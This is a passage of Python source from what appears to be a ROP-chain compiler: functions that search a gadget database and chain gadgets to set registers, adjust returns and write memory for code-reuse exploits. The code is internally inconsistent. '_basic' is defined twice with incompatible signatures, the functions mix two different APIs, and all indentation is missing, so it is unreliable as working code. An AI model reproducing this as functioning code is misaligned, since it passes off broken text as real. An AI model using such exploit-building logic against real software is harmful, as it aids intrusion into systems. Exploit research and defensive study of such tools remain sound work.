string_ropg("{} + {}".format(addr_str, offset)))
# Adjust
custom_stack = custom_stack + len(substring_str)
offset = offset + len(substring_str)
return res
def _adjust_ret(qtype,
arg1,
arg2,
constraint,
assertion,
n,
clmax=LMAX,
record=None,
comment=""):
"""
Search with basic but adjust the bad returns they have
"""
# Test clmax
if (clmax <= 0):
return []
# Test for ip
if (arg1 == Arch.ipNum()):
return []
# Test for search record
if (record is None):
record = SearchRecord()
res = []
possible = _basic(qtype, arg1, arg2, \
constraint.add(Chainable(jmp=True, call=True)), assertion, n)
padding = constraint.getValidPadding(Arch.currentArch.octets)
for chain in possible:
g = chain.chain[0]
ret_reg = g.retValue.reg.num
# Check if we already know that ret_reg can't be adjusted
if (record.impossible_AdjustRet.check(ret_reg)):
continue
#Check if ret_reg not modified within the gadget
if (ret_reg in g.modifiedRegs()):
continue
# Check if stack is preserved
if (g.spInc is None):
continue
# Find adjustment
if (g.spInc < 0):
offset = -1 * g.spInc
padding_length = 0
else:
padding_length = g.spInc
if (g.retType == RetType.JMP):
offset = 0
else:
offset = Arch.octets()
adjust_gadgets = search(QueryType.MEMtoREG, Arch.ipNum(), \
(Arch.spNum(),offset), constraint.add(RegsNotModified([arg1])), assertion, n=1, record=record)
if (not adjust_gadgets):
continue
else:
adjust_addr = int(validAddrStr(adjust_gadgets[0].chain[0],\
constraint.getBadBytes(), Arch.bits()), 16)
# Put the gadget address in the register
adjust = search(QueryType.CSTtoREG, ret_reg, adjust_addr, \
constraint.add(RegsNotModified([arg2[0]])), assertion, n=1, clmax=clmax-len(chain),record=record,\
comment="Address of "+string_bold(str(adjust_gadgets[0].chain[0])))
if (adjust):
res.append(adjust[0].addGadget(g).addPadding(padding,
n=padding_length))
if (len(res) >= n):
return res
else:
# Update the search record to say that reg_ret cannot be adjusted
record.impossible_AdjustRet.add(ret_reg)
return res
def _CSTtoREG_pop(reg, cst, env, n=1):
"""
Returns a payload that puts cst into register reg by poping it from the stack
"""
ID = StrategyType.CSTtoREG_POP
## Test for special cases
# Test lmax
if (env.getLmax() <= 0):
return FailRecord(lmax=True)
# Limit number of calls to ...
elif (env.nbCalls(ID) >= 99):
return FailRecord()
# Check if the cst is in badBytes
elif (not env.getConstraint().badBytes.verifyAddress(cst)):
return FailRecord()
# Set env
env.addCall(ID)
# Get comment
if (env.hasComment(ID)):
envHadComment = True
comment = env.popComment(ID)
else:
envHadComment = False
comment = "Constant: " + string_bold("0x{:x}".format(cst))
########################
# Direct pop from the stack
res = []
res_fail = FailRecord()
# Adapt constraint if ip <- cst
if (reg != Arch.ipNum()):
constraint2 = env.getConstraint().add(Chainable(ret=True))
else:
constraint2 = env.getConstraint()
possible = DBPossiblePopOffsets(reg, constraint2, env.getAssertion())
for offset in sorted(filter(lambda x: x >= 0, possible.keys())):
# If offsets are too big to fit in the lmax just break
if (offset > env.getLmax() * Arch.octets()):
break
# Get possible gadgets
possible_gadgets = [g for g in possible[offset]\
if g.spInc >= Arch.octets() \
and g.spInc - Arch.octets() > offset \
and (g.spInc/Arch.octets()-1) <= env.getLmax()] # Test if padding is too much for clmax
# Pad the gadgets
padding = env.getConstraint().getValidPadding(Arch.octets())
for gadget in possible_gadgets:
chain = ROPChain([gadget])
for i in range(0, gadget.spInc - Arch.octets(), Arch.octets()):
if (i == offset):
chain.addPadding(cst, comment)
else:
chain.addPadding(padding)
if (len(chain) <= env.getLmax()):
res.append(chain)
if (len(res) >= n):
break
if (len(res) >= n):
break
#########################
# Restore env
env.removeCall(ID)
if (envHadComment):
env.pushComment(ID, comment)
return res if res else res_fail
def _REGtoREG_transitivity(arg1, arg2, env, n=1):
"""
Perform REG1 <- REG2+CST with REG1 <- REG3 <- REG2+CST
"""
ID = StrategyType.REGtoREG_TRANSITIVITY
## Test for special cases
# Test lmax
if (env.getLmax() <= 0):
return FailRecord(lmax=True)
# If reg1 <- reg1 + 0, return
elif (arg1 == arg2[0] and arg2[1] == 0):
return FailRecord()
# Limit number of calls to REGtoREG transitivity
elif (env.callsHistory()[-2:] == [ID, ID]):
return FailRecord()
# Set env
env.addCall(ID)
# Search
res = []
res_fail = FailRecord()
for inter_reg in Arch.registers():
if( inter_reg == arg1 or (inter_reg == arg2[0] and arg2[1]==0)\
or (env.checkImpossible_REGtoREG(arg1, inter_reg, 0))\
or (env.checkImpossible_REGtoREG(inter_reg, arg2[0], arg2[1]))\
or inter_reg == Arch.ipNum() or inter_reg == Arch.spNum() ):
continue
# Find reg1 <- inter_reg without using arg2
env.addUnusableReg(arg2[0])
env.subLmax(1)
inter_to_arg1_list = _search(QueryType.REGtoREG, arg1, (inter_reg, 0),
env, n)
env.removeUnusableReg(arg2[0])
env.addLmax(1)
if (not inter_to_arg1_list):
res_fail.merge(inter_to_arg1_list)
continue
else:
min_len_chain = min([len(chain) for chain in inter_to_arg1_list])
# Find inter_reg <- arg2 without using arg1
env.addUnusableReg(arg1)
env.subLmax(min_len_chain)
n2 = n / len(inter_to_arg1_list)
if (n2 == 0):
n2 = 1
arg2_to_inter_chains = _search(QueryType.REGtoREG, inter_reg, arg2,
env, n2)
if (not arg2_to_inter_chains):
res_fail.merge(arg2_to_inter_chains)
continue
for arg2_to_inter in arg2_to_inter_chains:
for inter_to_arg1 in inter_to_arg1_list:
if (len(inter_to_arg1) + len(arg2_to_inter) <= env.getLmax()):
res.append(arg2_to_inter.addChain(inter_to_arg1, new=True))
if (len(res) >= n):
break
if (len(res) >= n):
break
env.addLmax(min_len_chain)
env.removeUnusableReg(arg1)
if (len(res) >= n):
break
# Restore env
env.removeCall(ID)
return res if res else res_fail
def _basic(qtype, arg1, arg2, env, n=1, enablePreConds=False):
"""
Search for gadgets basic method ( without chaining )
Direct Database check
"""
if (env.getLmax() <= 0):
return FailRecord(lmax=True)
if (env.getNoPadding()):
maxSpInc = None
else:
maxSpInc = env.getLmax() * Arch.octets()
# Check for special gadgets
if (qtype == QueryType.INT80 or qtype == QueryType.SYSCALL):
gadgets = DBSearch(qtype,
arg1,
arg2,
env.getConstraint(),
env.getAssertion(),
n=n,
maxSpInc=maxSpInc)
res = [ROPChain().addGadget(g) for g in gadgets]
return res
# Check if the type is IP <- ...
# In this case we remove the CHAINABLE constraint which makes no sense
if (arg1 == Arch.ipNum()):
constraint2 = env.getConstraint().remove([CstrTypeID.CHAINABLE])
else:
constraint2 = env.getConstraint()
# Check to add assertions when looking for Memory gadgets
if (qtype == QueryType.CSTtoMEM or qtype == QueryType.REGtoMEM):
assertion2 = env.getAssertion().add(
RegsNoOverlap([(arg1[0], Arch.spNum())]))
else:
assertion2 = env.getAssertion()
# Regular gadgets
# maxSpInc -> +1 because we don't count the ret but -1 because the gadget takes one place
gadgets = DBSearch(qtype,
arg1,
arg2,
constraint2,
assertion2,
n,
enablePreConds=enablePreConds,
maxSpInc=maxSpInc)
if (enablePreConds):
return [(ROPChain().addGadget(g[0]), g[1]) for g in gadgets]
elif (env.getNoPadding()):
return [ROPChain().addGadget(g) for g in gadgets]
else:
res = []
padding = constraint2.getValidPadding(Arch.octets())
for g in gadgets:
chain = ROPChain().addGadget(g)
# Padding the chain if possible
if (g.spInc > 0):
for i in range(0, g.spInc / Arch.octets() - 1):
chain.addPadding(padding)
# Adding to the result
res.append(chain)
if (len(res) == 0):
return FailRecord()
else:
return res
def store_constant_address(qtype,
cst_addr,
value,
constraint=None,
assertion=None,
clmax=None,
optimizeLen=False):
"""
Does a XXXtoMEM kind of query BUT the memory address is
a simple constant !
Expected qtypes are only XXXtoMEM
cst_addr is the store address
value is the value to store, a single cst or a couple (reg,cst)
"""
if (clmax is None):
clmax = STORE_CONSTANT_ADDRESS_LMAX
elif (clmax <= 0):
return None
if (constraint is None):
constr = Constraint()
else:
constr = constraint
if (assertion is None):
a = Assertion()
else:
a = assertion
# Tranform the query type
if (qtype == QueryType.CSTtoMEM):
qtype2 = QueryType.CSTtoREG
elif (qtype == QueryType.REGtoMEM):
qtype2 = QueryType.REGtoREG
elif (qtype == QueryType.MEMtoREG):
qtype2 = QueryType.MEMtoREG
else:
raise Exception(
"Query type {} should not appear in this function!".format(qtype))
tried_values = []
tried_cst_addr = []
best = None # If optimizeLen
shortest = clmax # Shortest ROPChain found if optimizeLen ;)
for ((addr_reg, addr_cst), (reg,cst), gadget) in \
sorted(DBAllPossibleWrites(constr.add(Chainable(ret=True)), a), \
key=lambda x: 0 if (x[1] == value) else 1) :
# DOn't use rip or rsp...
if( reg == Arch.ipNum() or reg == Arch.spNum()\
or addr_reg == Arch.ipNum() or addr_reg == Arch.spNum()):
continue
res = None
# Check if directly the registers we want to write ;)
value_is_reg = False
value_to_reg = []
addr_to_reg = []
if ((reg, cst) == value):
value_to_reg = [ROPChain()]
value_is_reg = True
# adapt value
if (not isinstance(value, tuple)):
adjusted_value = value - cst
else:
adjusted_value = (value[0], value[1] - cst)
adjusted_cst_addr = cst_addr - addr_cst
# Get spInc
gadget_paddingLen = (gadget.spInc / Arch.octets()) - 1
# Check if tried before
if ((reg, cst) in tried_values):
continue
elif ((addr_reg, addr_cst) in tried_cst_addr):
continue
### Try to do reg first then addr_reg
# Try to put the value into reg
clmax2 = shortest - gadget_paddingLen - 1
if (not value_is_reg):
value_to_reg = search(qtype2,
reg,
adjusted_value,
constr,
a,
clmax=clmax2,
n=1,
optimizeLen=optimizeLen)
if (not value_to_reg):
tried_values.append((reg, cst))
continue
else:
clmax2 = clmax2 - len(value_to_reg[0])
# Try to put the cst_addr in addr_reg
addr_to_reg = search(QueryType.CSTtoREG,
addr_reg,
adjusted_cst_addr,
constr.add(RegsNotModified([reg])),
a,
clmax=clmax2,
n=1,
optimizeLen=optimizeLen)
if (addr_to_reg):
# If we found a solution
# Combine them and return
# Padd the gadget
res = value_to_reg[0].addChain(addr_to_reg[0]).addGadget(gadget)
if (gadget.spInc > 0):
padding_value = constr.getValidPadding(Arch.octets())
res = res.addPadding(padding_value,
n=(gadget.spInc / Arch.octets()) - 1)
if (optimizeLen):
if (best):
best = min(best, res)
else:
best = res
shortest = len(best)
else:
return res
### Try to do addr_reg first and then reg
clmax2 = shortest - gadget_paddingLen - 1
# Try to put the cst_addr in addr_reg
addr_to_reg = search(QueryType.CSTtoREG,
addr_reg,
adjusted_cst_addr,
constr,
a,
clmax=clmax2,
n=1,
optimizeLen=optimizeLen)
if (not addr_to_reg):
tried_cst_addr.append((addr_reg, addr_cst))
continue
else:
clmax2 = clmax2 - len(addr_to_reg[0])
# Try to put the value into reg
if (not value_is_reg):
value_to_reg = search(qtype2,
reg,
adjusted_value,
constr.add(RegsNotModified([addr_reg])),
a,
clmax=clmax2,
n=1,
optimizeLen=optimizeLen)
if (value_to_reg):
# If we found a solution
# Combine them and return
# Padd the gadget
res = addr_to_reg[0].addChain(value_to_reg[0]).addGadget(gadget)
if (gadget.spInc > 0):
padding_value = constr.getValidPadding(Arch.octets())
res = res.addPadding(padding_value,
n=(gadget.spInc / Arch.octets()) - 1)
if (optimizeLen):
if (best):
best = min(best, res)
else:
best = res
shortest = len(best)
else:
return res
# 5 = two pops for addr_reg and reg + 1 for the write gadget
# So since 5 is the shortest possible with two pops we can return
# We can have < 5 if reg is already equal to 'value' argument
# But we try this case first (see sorted()) when getting possibleWrites ;)
if (((not optimizeLen) or (not value_is_reg)) and (not best is None)
and len(best) <= 5):
return best
elif (optimizeLen and (not best is None) and len(best) <= 3):
return best
return best
def _basic(qtype,
arg1,
arg2,
constraint,
assertion,
n=1,
clmax=LMAX,
noPadding=False):
"""
Search for gadgets basic method ( without chaining )
Direct Database check
"""
# Test clmax
if (clmax <= 0):
return []
if (not noPadding):
maxSpInc = clmax * Arch.octets()
else:
maxSpInc = None
# Check for special gadgets
if (qtype == QueryType.INT80 or qtype == QueryType.SYSCALL):
gadgets = DBSearch(qtype,
arg1,
arg2,
constraint,
assertion,
n=1,
maxSpInc=maxSpInc)
res = [ROPChain().addGadget(g) for g in gadgets]
return res
# Check if the type is IP <- ...
# In this case we remove the CHAINABLE constraint which makes no sense
if (arg1 == Arch.ipNum()):
constraint2 = constraint.remove([CstrTypeID.CHAINABLE])
else:
constraint2 = constraint
# Check to add assertions when looking for Memory gadgets
if (qtype == QueryType.CSTtoMEM or qtype == QueryType.REGtoMEM):
assertion2 = assertion.add(RegsNoOverlap([(arg1[0], Arch.spNum())]))
else:
assertion2 = assertion
# Regular gadgets
# maxSpInc -> +1 because we don't count the ret but -1 because the gadget takes one place
gadgets = DBSearch(qtype,
arg1,
arg2,
constraint2,
assertion2,
n,
maxSpInc=maxSpInc)
if (noPadding):
return [ROPChain().addGadget(g) for g in gadgets]
else:
res = []
padding = constraint2.getValidPadding(Arch.currentArch.octets)
for g in gadgets:
chain = ROPChain().addGadget(g)
# Padding the chain if possible
if (g.spInc > 0):
for i in range(0, g.spInc / Arch.octets() - 1):
chain.addPadding(padding)
# Adding to the result
res.append(chain)
return res
